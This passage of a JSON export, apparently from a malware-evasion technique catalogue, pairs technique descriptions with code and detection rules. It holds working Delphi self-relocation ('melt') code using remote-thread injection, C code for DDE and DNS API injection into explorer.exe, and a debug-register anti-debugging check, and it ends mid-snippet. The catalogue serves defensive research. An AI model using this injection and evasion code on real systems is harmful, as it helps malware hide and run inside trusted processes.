Message=[%s].', [\r\n    AFuncName,\r\n    GetLastError(),\r\n    SysErrorMessage(GetLastError())\r\n  ]);\r\nend;\r\n\r\n{\r\n  Spawn a new hidden process\r\n}\r\nfunction Spawn(APEFile : String) : THandle;\r\nvar hProc               : THandle;\r\n    b                   : Boolean;\r\n    AStartupInfo        : TStartupInfo;\r\n    AProcessInformation : TProcessInformation;\r\nbegin\r\n  result := INVALID_HANDLE_VALUE;\r\n  ///\r\n\r\n  ZeroMemory(@AProcessInformation, SizeOf(TProcessInformation));\r\n  ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));\r\n\r\n  AStartupInfo.cb          := SizeOf(TStartupInfo);\r\n  AStartupInfo.wShowWindow := SW_SHOW;\r\n  AStartupInfo.dwFlags     := STARTF_USESHOWWINDOW;\r\n\r\n  UniqueString(APEFile);\r\n\r\n  b := CreateProcessW(\r\n                          PWideChar(APEFile),\r\n                          nil,\r\n                          nil,\r\n                          nil,\r\n                          False,\r\n                          0,\r\n                          nil,\r\n                          nil,\r\n                          AStartupInfo,\r\n                          AProcessInformation\r\n  );\r\n\r\n  if not b then\r\n    raise Exception.Create(GetLastErrorMessage('CreateProcessW'));\r\n\r\n  ///\r\n  result := AProcessInformation.hProcess;\r\nend;\r\n\r\n{\r\n  Melt File using Process Injection Technique\r\n}\r\n\r\nprocedure MeltThread(pInfo : PMeltThreadInfo) ; stdcall;\r\nvar _GetLastError   : function() : DWORD; stdcall;\r\n    _ExitProcess    : procedure(uExitCode : UINT); stdcall;\r\n    _DeleteFileW    : function(lpFileName : LPCSTR) : BOOL; stdcall;\r\n    _Sleep          : procedure(dwMilliseconds : DWORD); stdcall;\r\n    _MessageBox : function(hWindow : HWND; lpText : LPCWSTR; lpCaption : LPCWSTR; uType : UINT):integer;stdcall;\r\n    _WinExec        : function(lpCmdLine : LPCSTR; uCmdShow : UINT) : UINT; stdcall;\r\nbegin\r\n  @_GetLastError   := pInfo^.GetLastError;\r\n  @_ExitProcess    := pInfo^.ExitProcess;\r\n  @_DeleteFileW    := pInfo^.DeleteFileW;\r\n  @_Sleep          := pInfo^.Sleep;\r\n  @_WinExec        := pInfo^.WinExec;\r\n\r\n  while not _DeleteFileW(pInfo^.sTargetFile) do begin\r\n    if (_GetLastError = ERROR_FILE_NOT_FOUND) then\r\n      break;\r\n    ///\r\n\r\n    _Sleep(100);\r\n  end;\r\n\r\n  _WinExec(PAnsiChar(pInfo^.sExecFile), SW_SHOW);\r\n\r\n  _ExitProcess(0);\r\n\r\n  /// EGG\r\n  asm\r\n    mov eax, $DEADBEAF;\r\n    mov eax, $DEADBEAF;\r\n  end;\r\nend;\r\n\r\nprocedure DoMelt_Injection(ATargetFile, AExecFile : String);\r\nvar hProc         : THandle;\r\n    ABytesWritten : SIZE_T;\r\n    AInfo         : TMeltThreadInfo;\r\n    p             : Pointer;\r\n    AThreadID     : DWORD;\r\n    AThreadProc   : TRemotePointer;\r\n    AInjectedInfo : TRemotePointer;\r\n    hKernel32     : THandle;\r\n    pSysWow64     : PWideChar;\r\n\r\n  function FreeRemoteMemory(var ARemotePointer : TRemotePointer) : Boolean;\r\n  begin\r\n    result := False;\r\n    ///\r\n\r\n    if (NOT Assigned(ARemotePointer.Address)) or (ARemotePointer.Size = 0) then\r\n      Exit();\r\n\r\n    result := VirtualFreeEx(hProc, ARemotePointer.Address, ARemotePointer.Size, MEM_RELEASE);\r\n\r\n    ZeroMemory(@ARemotePointer, SizeOf(TRemotePointer));\r\n  end;\r\n\r\n  function InjectBuffer(pBuffer : PVOID; ABufferSize : Cardinal) : TRemotePointer;\r\n  begin\r\n    ZeroMemory(@result, SizeOf(TRemotePointer));\r\n    ///\r\n\r\n    result.Size := ABufferSize;\r\n    result.Address := VirtualAllocEx(hProc, nil, result.Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    if result.Address = nil then\r\n      raise Exception.Create(GetLastErrorMessage('VirtualAllocEx'));\r\n    ///\r\n\r\n    if not WriteProcessMemory(hProc, result.Address, pBuffer, result.Size, ABytesWritten) then begin\r\n      FreeRemoteMemory(result);\r\n\r\n      raise Exception.Create(GetLastErrorMessage('WriteProcessMemory'));\r\n    end;\r\n  end;\r\n\r\n  function InjectStringW(AString : String) : TRemotePointer;\r\n  begin\r\n    result := InjectBuffer(PWideChar(AString), (Length(AString) * SizeOf(WideChar)));\r\n  end;\r\n\r\n  function InjectStringA(AString : AnsiString) : TRemotePointer;\r\n  begin\r\n    result := InjectBuffer(PAnsiChar(AString), (Length(AString) * SizeOf(AnsiChar)));\r\n  end;\r\n\r\n  function GetFuncSize(pFunc : Pointer) : Cardinal;\r\n  {\r\n    This is a very dumb but working technique, we scan for our special pattern to\r\n    get the address of our last MeltThread instruction.\r\n\r\n    We skip all epilogue instructions since the thread will end the parent process.\r\n\r\n    Other techniques exists to know the exact size of a function but is not required\r\n    for our example.\r\n  }\r\n  var I              : Integer;\r\n      pCurrentRegion : Pointer;\r\n      AFound         : Boolean;\r\n\r\n  const EGG : array[0..5-1] of Byte = ($B8, $AF, $BE, $AD, $DE);\r\n  begin\r\n    I := 0;\r\n    AFound := False;\r\n\r\n    while True do begin\r\n      pCurrentRegion := Pointer(NativeUInt(pFunc) + I);\r\n\r\n      if CompareMem(pCurrentRegion, @EGG, Length(EGG)) then begin\r\n        if AFound then begin\r\n          result := I - Length(EGG);\r\n\r\n          break;\r\n        end;\r\n\r\n        AFound := True;\r\n      end;\r\n\r\n      Inc(I);\r\n    end;\r\n  end;\r\n\r\nbegin\r\n  GetMem(pSysWOW64, MAX_PATH);\r\n  try\r\n    SHGetSpecialFolderPathW(0, pSysWOW64, CSIDL_SYSTEMX86, False);\r\n  finally\r\n    FreeMem(pSysWOW64, MAX_PATH);\r\n  end;\r\n\r\n  hProc := Spawn(Format('%s\\notepad.exe', [String(pSysWOW64)]));\r\n  try\r\n    ZeroMemory(@AInfo, SizeOf(TMeltThreadInfo));\r\n\r\n    {\r\n      Prepare Thread Parameter\r\n    }\r\n    hKernel32 := LoadLibrary('kernel32.dll');\r\n\r\n    AInfo.GetLastError   := GetProcAddress(hKernel32, 'GetLastError');\r\n    AInfo.ExitProcess    := GetProcAddress(hKernel32, 'ExitProcess');\r\n    AInfo.DeleteFileW    := GetProcAddress(hKernel32, 'DeleteFileW');\r\n    AInfo.Sleep          := GetProcAddress(hKernel32, 'Sleep');\r\n    AInfo.GetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress');\r\n    AInfo.LoadLibrary    := GetProcAddress(hKernel32, 'LoadLibraryW');\r\n    AInfo.WinExec        := GetProcAddress(hKernel32, 'WinExec');\r\n\r\n    AInfo.sTargetFile    := InjectStringW(ATargetFile).Address;\r\n    AInfo.sExecFile      := InjectStringA(AnsiString(AExecFile)).Address;\r\n    try\r\n      AThreadProc := InjectBuffer(@MeltThread, GetFuncSize(@MeltThread));\r\n\r\n      AInjectedInfo := InjectBuffer(@AInfo, SizeOf(TMeltThreadInfo));\r\n\r\n      if CreateRemoteThread(hProc, nil, 0, AThreadProc.Address, AInjectedInfo.Address, 0, AThreadID) = 0 then\r\n        raise Exception.Create(GetLastErrorMessage('CreateRemoteThread'));\r\n\r\n      WriteLn('Done.');\r\n    except\r\n      on E: Exception do begin\r\n        TerminateProcess(hProc, 0);\r\n\r\n        raise;\r\n      end;\r\n    end;\r\n  finally\r\n    CloseHandle(hProc);\r\n  end;\r\nend;\r\n\r\n{\r\n  Program Entry Point\r\n}\r\nvar ACurrentFile : String;\r\n    ADestFile    : String;\r\nbegin\r\n  try\r\n    ACurrentFile := GetModuleName(0);\r\n\r\n    ADestFile := Format('%s\\%s', [\r\n        GetEnvironmentVariable('APPDATA'),\r\n        ExtractFileName(GetModuleName(0))\r\n    ]);\r\n\r\n    if String.Compare(ACurrentFile, ADestFile, True) = 0 then begin\r\n      {\r\n        After Melt (New Installed Copy)\r\n      }\r\n\r\n      WriteLn(Format('Melt successfully. I''m running from \"%s\"', [ACurrentFile]));\r\n      WriteLn('Press enter to exit.');\r\n      Readln;\r\n    end else begin\r\n      {\r\n        Melt Instance\r\n      }\r\n      WriteLn('Install our copy and initiate file melting...');\r\n\r\n      if NOT CopyFile(\r\n                        PWideChar(ACurrentFile),\r\n                        PWideChar(ADestFile),\r\n                        False) then\r\n        raise Exception.Create(Format('Could not copy file from \"%s\" to \"%s\"', [ACurrentFile, ADestFile]));\r\n\r\n      DoMelt_Injection(ACurrentFile, ADestFile);\r\n    end;\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
                }
            ],
            "detection_rules": []
        },
        {
            "name": "Execution Guardrails: Environmental Keying",
            "category": [
                "https://search.unprotect.it/api/categories/10/?format=api"
            ],
            "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of Execution Guardrails that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.\r\n\r\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses. By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult. These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\r\n\r\nSimilar to Obfuscated Files or Information, adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution. By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult. This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\r\n\r\nLike other Execution Guardrails, environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.",
            "resources": "https://attack.mitre.org/techniques/T1480/001/\r\nhttps://twitter.com/JohnLaTwC/status/1324062579082211328?s=20",
            "tags": "",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Timestomp",
            "category": [
                "https://search.unprotect.it/api/categories/8/?format=api",
                "https://search.unprotect.it/api/categories/10/?format=api"
            ],
            "description": "Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.",
            "resources": "https://attack.mitre.org/techniques/T1070/006/",
            "tags": "",
            "snippets": [],
            "detection_rules": [
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/2/?format=api",
                    "name": "timestomp",
                    "rule": "rule:\r\n  meta:\r\n    name: timestomp file\r\n    namespace: anti-analysis/anti-forensic/timestomp\r\n    author: moritz.raabe@fireeye.com\r\n    scope: function\r\n    att&ck:\r\n      - Defense Evasion::Indicator Removal on Host::Timestomp [T1070.006]\r\n    examples:\r\n      - Practical Malware Analysis Lab 03-04.exe_:0x4014e0\r\n  features:\r\n    - and:\r\n      - or:\r\n        - api: kernel32.GetSystemTime\r\n        - api: kernel32.FileTimeToLocalFileTime\r\n        - api: kernel32.GetSystemTimeAsFileTime\r\n        - api: kernel32.SystemTimeToFileTime\r\n        - api: kernel32.GetFileTime\r\n      - api: kernel32.SetFileTime"
                }
            ]
        },
        {
            "name": "Debug Registers, Hardware Breakpoints",
            "category": [
                "https://search.unprotect.it/api/categories/3/?format=api"
            ],
            "description": "Registers DR0 through DR3 contain the linear address associated with one of the four hardware breakpoint conditions. For anti-debugging, malware will check the contents of the first four debug registers to see if the hardware breakpoint has been set.",
            "resources": "https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthread\r\nhttps://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext\r\nhttps://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/registers-window",
            "tags": "DR0",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/9/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/164/?format=api",
                    "description": "",
                    "plain_code": "#include <windows.h>\r\n#include <stdio.h>\r\n\r\nint main() {\r\n\r\n    HANDLE thread = GetCurrentThread();\r\n    CONTEXT threadContext;\r\n    int errorCode;\r\n\r\n    memset(&threadContext, 0, sizeof(CONTEXT));\r\n    threadContext.ContextFlags = CONTEXT_ALL;\r\n\r\n    if( !GetThreadContext(thread, &threadContext) ){\r\n        errorCode = GetLastError();\r\n        puts(\"Could not get thread context\");\r\n        return errorCode;\r\n    }\r\n\r\n    if( threadContext.Dr0 || threadContext.Dr1 || threadContext.Dr2 || threadContext.Dr3 ){\r\n        puts(\"Detected\");\r\n    }\r\n    else{\r\n        puts(\"Undetected\");\r\n    }\r\n\r\n    return 0;\r\n}"
                }
            ],
            "detection_rules": [
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/2/?format=api",
                    "name": "debug_register",
                    "rule": "rule:\r\n  meta:\r\n    name: check for hardware breakpoints\r\n    namespace: anti-analysis/anti-debugging/debugger-detection\r\n    author: michael.hunhoff@fireeye.com\r\n    scope: function\r\n    mbc:\r\n      - Anti-Behavioral Analysis::Debugger Detection::Hardware Breakpoints [B0001.005]\r\n    references:\r\n      - https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/AntiDebug/HardwareBreakpoints.cpp\r\n    examples:\r\n      - al-khaser_x86.exe_:0x42035D\r\n  features:\r\n    - and:\r\n      - api: kernel32.GetThreadContext\r\n      - number: 0x10010 = CONTEXT_DEBUG_REGISTERS\r\n      - offset: 0x4 = DR0\r\n      - offset: 0x8 = DR1\r\n      - offset: 0xC = DR2\r\n      - offset: 0x10 = DR3\r\n      - count(mnemonic(cmp)): 4 or more"
                }
            ]
        },
        {
            "name": "Anti Yara Rules",
            "category": [
                "https://search.unprotect.it/api/categories/14/?format=api"
            ],
            "description": "Yara rules are very powerful at finding new malware or detecting specific techniques. Malware writers also know that malware researchers are using Yara. To avoid Yara hunting, attackers can modify specific data in samples.\r\n\r\nThis can be observed with ransomware notes with updated content to avoid tracking or detection of ransomware variants.",
            "resources": "https://github.com/Yara-Rules/rules",
            "tags": "yara",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Breaking BaDDEr",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "Dynamic Data Exchange (DDE) is a data sharing protocol while the Dynamic Data Exchange Management Library (DDEML) facilitates sharing of data among applications over the DDE protocol. DDE made the headlines in October 2017 after a vulnerability was discovered in Microsoft Office that could be exploited to execute code. Since then, it’s been disabled by default and is therefore not considered a critical component. \r\n\r\nThe scope of this injection method is limited to explorer.exe.",
            "resources": "https://modexp.wordpress.com/2019/08/09/windows-process-injection-breaking-badder/",
            "tags": "process injection, badder, dde",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/6/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/162/?format=api",
                    "description": "",
                    "plain_code": "#include \"../ntlib/util.h\"\r\n\r\ntypedef struct tagLINK_COUNT *PLINK_COUNT;\r\ntypedef ATOM LATOM;\r\n\r\ntypedef struct tagSERVER_LOOKUP {\r\n    LATOM           laService;\r\n    LATOM           laTopic;\r\n    HWND            hwndServer;\r\n} SERVER_LOOKUP, *PSERVER_LOOKUP;\r\n\r\ntypedef struct tagCL_INSTANCE_INFO {\r\n    struct tagCL_INSTANCE_INFO *next;\r\n    HANDLE                      hInstServer;\r\n    HANDLE                      hInstClient;\r\n    DWORD                       MonitorFlags;\r\n    HWND                        hwndMother;\r\n    HWND                        hwndEvent;\r\n    HWND                        hwndTimeout;\r\n    DWORD                       afCmd;\r\n    PFNCALLBACK                 pfnCallback;\r\n    DWORD                       LastError;\r\n    DWORD                       tid;\r\n    LATOM                      *plaNameService;\r\n    WORD                        cNameServiceAlloc;\r\n    PSERVER_LOOKUP              aServerLookup;\r\n    short                       cServerLookupAlloc;\r\n    WORD                        ConvStartupState;\r\n    WORD                        flags;              // IIF_ flags\r\n    short                       cInDDEMLCallback;\r\n    PLINK_COUNT                 pLinkCount;\r\n} CL_INSTANCE_INFO, *PCL_INSTANCE_INFO;\r\n\r\n#define GWLP_INSTANCE_INFO 0 // PCL_INSTANCE_INFO\r\n\r\nVOID dde_inject(LPVOID payload, DWORD payloadSize) {\r\n    HWND             hw;\r\n    SIZE_T           rd, wr;\r\n    LPVOID           ptr, cs;\r\n    HANDLE           hp;\r\n    CL_INSTANCE_INFO pcii;\r\n    CONVCONTEXT      cc;\r\n    HCONVLIST        cl;\r\n    DWORD            pid, idInst = 0;\r\n    \r\n    // 1. find a DDEML window and read the address \r\n    //    of CL_INSTANCE_INFO\r\n    hw = FindWindowEx(NULL, NULL, L\"DDEMLMom\", NULL);\r\n    if(hw == NULL) return;\r\n    ptr = (LPVOID)GetWindowLongPtr(hw, GWLP_INSTANCE_INFO);\r\n    if(ptr == NULL) return;\r\n      \r\n    // 2. open the process and read CL_INSTANCE_INFO\r\n    GetWindowThreadProcessId(hw, &pid);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n    if(hp == NULL) return;\r\n    ReadProcessMemory(hp, ptr, &pcii, sizeof(pcii), &rd);\r\n    \r\n    // 3. allocate RWX memory and write payload there.\r\n    //    update callback\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    WriteProcessMemory(\r\n      hp, (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), \r\n      &cs, sizeof(ULONG_PTR), &wr);\r\n            \r\n    // 4. trigger execution via DDE protocol\r\n    DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0);\r\n    ZeroMemory(&cc, sizeof(cc));\r\n    cc.cb = sizeof(cc);\r\n    cl = DdeConnectList(idInst, 0, 0, 0, &cc);\r\n    DdeDisconnectList(cl);\r\n    DdeUninitialize(idInst);\r\n    \r\n    // 5. restore original pointer and cleanup\r\n    WriteProcessMemory(\r\n      hp, \r\n      (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), \r\n      &pcii.pfnCallback, sizeof(ULONG_PTR), &wr);\r\n          \r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}\r\n\r\nVOID dde_list(VOID) {\r\n    CONVCONTEXT cc;\r\n    HCONVLIST   cl;\r\n    DWORD       idInst = 0;\r\n    HCONV       c = NULL;\r\n    CONVINFO    ci;\r\n    WCHAR       server[MAX_PATH];\r\n    \r\n    if(DMLERR_NO_ERROR != DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0)) {\r\n      printf(\"unable to initialize : %i.\\n\", GetLastError());\r\n      return;\r\n    }\r\n    \r\n    ZeroMemory(&cc, sizeof(cc));\r\n    cc.cb = sizeof(cc);\r\n    cl = DdeConnectList(idInst, 0, 0, 0, &cc);\r\n    \r\n    if(cl != NULL) {\r\n      for(;;) {\r\n        c = DdeQueryNextServer(cl, c);\r\n        if(c == NULL) break;\r\n        ci.cb = sizeof(ci);\r\n        DdeQueryConvInfo(c, QID_SYNC, &ci);\r\n        DdeQueryString(idInst, ci.hszSvcPartner, server, MAX_PATH, CP_WINUNICODE);\r\n        \r\n        printf(\"Service : %-10ws Process : %ws\\n\", \r\n          server, wnd2proc(ci.hwndPartner));\r\n      }\r\n      DdeDisconnectList(cl);\r\n    } else {\r\n      printf(\"DdeConnectList : %x\\n\", DdeGetLastError(idInst));\r\n    }\r\n    DdeUninitialize(idInst);\r\n}\r\n\r\nint main(void) {\r\n    LPVOID  pic;\r\n    DWORD   len;\r\n    int     argc;\r\n    wchar_t **argv;\r\n    \r\n    argv = CommandLineToArgvW(GetCommandLineW(), &argc);\r\n    \r\n    if(argc != 2) {\r\n      dde_list();\r\n      printf(\"\\n\\nusage: dde_inject <payload>.\\n\");\r\n      return 0;\r\n    }\r\n\r\n    len=readpic(argv[1], &pic);\r\n    if (len==0) { printf(\"\\ninvalid payload\\n\"); return 0;}\r\n    \r\n    dde_inject(pic, len);\r\n    \r\n    return 0;\r\n}"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "DNS API Injection",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "Overwriting DNS memory functions to facilitate process injection. Sysmon v10 supports logging DNS queries. This feature that intercepts all the DNS requests on a monitored host, and if possible, maps them to the process name making that request. It is a nice addition to Sysmon’s already awesome logging capabilities.\r\n\r\nIf we can locate the address of dnsapi.dll in a remote process, find the address of exported DnsApiHeapReset function, then with a basic parsing of its code we can discover the address of each callback. Then, with a single, surgical WriteProcessMemory call we can modify any of them.",
            "resources": "https://modexp.wordpress.com/2019/08/08/windows-process-injection-dnsapi/\r\nhttp://www.hexacorn.com/blog/2019/06/12/code-execution-via-surgical-callback-overwrites-e-g-dns-memory-functions/",
            "tags": "dns, injection",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/6/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/161/?format=api",
                    "description": "Tested on Windows 10 64-bit.",
                    "plain_code": "#include \"../ntlib/util.h\"\r\n\r\nHRESULT GetDesktopShellView(REFIID riid, void **ppv) {\r\n    HWND           hwnd;\r\n    IDispatch      *pdisp;\r\n    IShellWindows  *psw;\r\n    VARIANT        vEmpty = {};\r\n    IShellBrowser  *psb;\r\n    IShellView     *psv;\r\n    HRESULT        hr;\r\n    \r\n    *ppv = NULL;\r\n        \r\n    hr = CoCreateInstance(CLSID_ShellWindows, \r\n      NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&psw));\r\n      \r\n    if(hr == S_OK) {\r\n      hr = psw->FindWindowSW(\r\n        &vEmpty, &vEmpty, \r\n        SWC_DESKTOP, (long*)&hwnd, \r\n        SWFO_NEEDDISPATCH, &pdisp);\r\n        \r\n      if(hr == S_OK) {\r\n        hr = IUnknown_QueryService(\r\n          pdisp, SID_STopLevelBrowser, IID_PPV_ARGS(&psb));\r\n        if(hr == S_OK) {\r\n          hr = psb->QueryActiveShellView(&psv);\r\n          if(hr == S_OK) {\r\n            hr = psv->QueryInterface(riid, ppv);\r\n            psv->Release();\r\n          }\r\n          psb->Release();\r\n        }\r\n        pdisp->Release();\r\n      }\r\n      psw->Release();\r\n    }\r\n    return hr;\r\n}\r\n\r\nHRESULT GetShellDispatch(\r\n  IShellView *psv, REFIID riid, void **ppv) \r\n{\r\n    IShellFolderViewDual *psfvd;\r\n    IDispatch            *pdispBackground, *pdisp;;\r\n    HRESULT              hr;\r\n    \r\n    *ppv = NULL;\r\n    hr = psv->GetItemObject(\r\n      SVGIO_BACKGROUND, IID_PPV_ARGS(&pdispBackground));\r\n    \r\n    if(hr == S_OK) {\r\n      hr = pdispBackground->QueryInterface(IID_PPV_ARGS(&psfvd));\r\n      if(hr == S_OK) {\r\n        hr = psfvd->get_Application(&pdisp);\r\n        if(hr == S_OK) {\r\n          hr = pdisp->QueryInterface(riid, ppv);\r\n          pdisp->Release();\r\n        }\r\n        psfvd->Release();\r\n      }\r\n      pdispBackground->Release();\r\n    }\r\n    return hr;\r\n}\r\n\r\nHRESULT ShellExecInExplorer(PCWSTR pszFile) {\r\n    IShellView      *psv;\r\n    IShellDispatch2 *psd;\r\n    HRESULT         hr;\r\n    BSTR            bstrFile;\r\n    VARIANT         vtHide, vtEmpty = {};\r\n    \r\n    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);\r\n    \r\n    bstrFile = SysAllocString(pszFile);\r\n    if(bstrFile == NULL) return E_OUTOFMEMORY;\r\n    \r\n    hr = GetDesktopShellView(IID_PPV_ARGS(&psv));\r\n    if(hr == S_OK) {\r\n      hr = GetShellDispatch(psv, IID_PPV_ARGS(&psd));\r\n      if(hr == S_OK) {\r\n        V_VT(&vtHide)  = VT_INT;\r\n        V_INT(&vtHide) = SW_HIDE;\r\n        hr = psd->ShellExecuteW(\r\n          bstrFile, vtEmpty, vtEmpty, vtEmpty, vtEmpty);\r\n        psd->Release();\r\n      }\r\n      psv->Release();\r\n    }\r\n    SysFreeString(bstrFile);\r\n    return hr;\r\n}\r\n\r\nLPVOID GetDnsApiAddr(DWORD pid) {\r\n    LPVOID                m, rm, va = NULL;\r\n    PIMAGE_DOS_HEADER     dos;\r\n    PIMAGE_NT_HEADERS     nt;\r\n    PIMAGE_SECTION_HEADER sh;\r\n    DWORD                 i, cnt, rva=0;\r\n    PULONG_PTR            ds;\r\n    \r\n    // does remote have dnsapi loaded?\r\n    rm  = GetRemoteModuleHandle(pid, L\"dnsapi.dll\");\r\n    if(rm == NULL) return NULL;\r\n    \r\n    // load local copy\r\n    m   = LoadLibrary(L\"dnsapi.dll\");\r\n    dos = (PIMAGE_DOS_HEADER)m;  \r\n    nt  = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);  \r\n    sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + \r\n          nt->FileHeader.SizeOfOptionalHeader);\r\n          \r\n    // locate the .data segment, save VA and number of pointers\r\n    for(i=0; i<nt->FileHeader.NumberOfSections; i++) {\r\n      if(*(PDWORD)sh[i].Name == *(PDWORD)\".data\") {\r\n        ds  = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);\r\n        cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);\r\n        break;\r\n      }\r\n    }\r\n    // for each pointer\r\n    for(i=0; i<cnt - 1; i++) {\r\n      // if two pointers side by side are not to code, skip it\r\n      if(!IsCodePtr((LPVOID)ds[i  ])) continue;\r\n      if(!IsCodePtr((LPVOID)ds[i+1])) continue;\r\n      // calculate VA in remote process\r\n      va = ((PBYTE)&ds[i] - (PBYTE)m) + (PBYTE)rm;\r\n      break;\r\n    }\r\n    return va;\r\n}\r\n\r\n// for any \"Network Error\", close the window\r\nVOID SuppressErrors(LPVOID lpParameter) {\r\n    HWND hw;\r\n    \r\n    for(;;) {\r\n      hw = FindWindowEx(NULL, NULL, NULL, L\"Network Error\");\r\n      if(hw != NULL) {\r\n        PostMessage(hw, WM_CLOSE, 0, 0);\r\n      }\r\n    }\r\n}\r\n\r\nVOID dns_inject(LPVOID payload, DWORD payloadSize) {\r\n    LPVOID dns, cs, ptr;\r\n    DWORD  pid, cnt, tick, i, t;\r\n    HANDLE hp, ht;\r\n    SIZE_T wr;\r\n    HWND   hw;\r\n    WCHAR  unc[32]={L'\\\\', L'\\\\'}; // UNC path to invoke DNS api\r\n\r\n    // 1. obtain process id for explorer\r\n    //    and try read address of function pointers\r\n    GetWindowThreadProcessId(GetShellWindow(), &pid); \r\n    ptr = GetDnsApiAddr(pid);\r\n    \r\n    // 2. create a thread to suppress network errors displayed\r\n    ht = CreateThread(NULL, 0, \r\n      (LPTHREAD_START_ROUTINE)SuppressErrors, NULL, 0, NULL);\r\n      \r\n    // 3. if dns api not already loaded, try force \r\n    // explorer to load via fake UNC path\r\n    if(ptr == NULL) {\r\n      tick = GetTickCount();\r\n      for(i=0; i<8; i++) {\r\n        unc[2+i] = (tick % 26) + 'a';\r\n        tick >>= 2;\r\n      }\r\n      ShellExecInExplorer(unc);\r\n      ptr = GetDnsApiAddr(pid);\r\n    }\r\n    \r\n    if(ptr != NULL) {\r\n      // 4. open explorer, backup address of dns function.\r\n      //    allocate RWX memory and write payload\r\n      hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n      ReadProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);\r\n      cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n      WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n      \r\n      // 5. overwrite pointer to dns function\r\n      //    generate fake UNC path and trigger execution\r\n      WriteProcessMemory(hp, ptr, &cs, sizeof(ULONG_PTR), &wr);\r\n      tick = GetTickCount();\r\n      for(i=0; i<8; i++) {\r\n        unc[2+i] = (tick % 26) + L'a';\r\n        tick >>= 2;\r\n      }\r\n      ShellExecInExplorer(unc);\r\n      \r\n      // 6. restore dns function, release memory and close process\r\n      WriteProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);\r\n      VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n      CloseHandle(hp);\r\n    }\r\n    // 7. terminate thread\r\n    TerminateThread(ht, 0);\r\n}\r\n\r\nint main(void) {\r\n    LPVOID  pic;\r\n    DWORD   len;\r\n    int     argc;\r\n    wchar_t **argv;\r\n    \r\n    argv = CommandLineToArgvW(GetCommandLineW(), &argc);\r\n    \r\n    if(argc != 2) {\r\n      printf(\"\\nusage: dnsinject <payload.bin>\\n\");\r\n      return 0;\r\n    }\r\n\r\n    len=readpic(argv[1], &pic);\r\n    if (len==0) { printf(\"\\ninvalid payload\\n\"); return 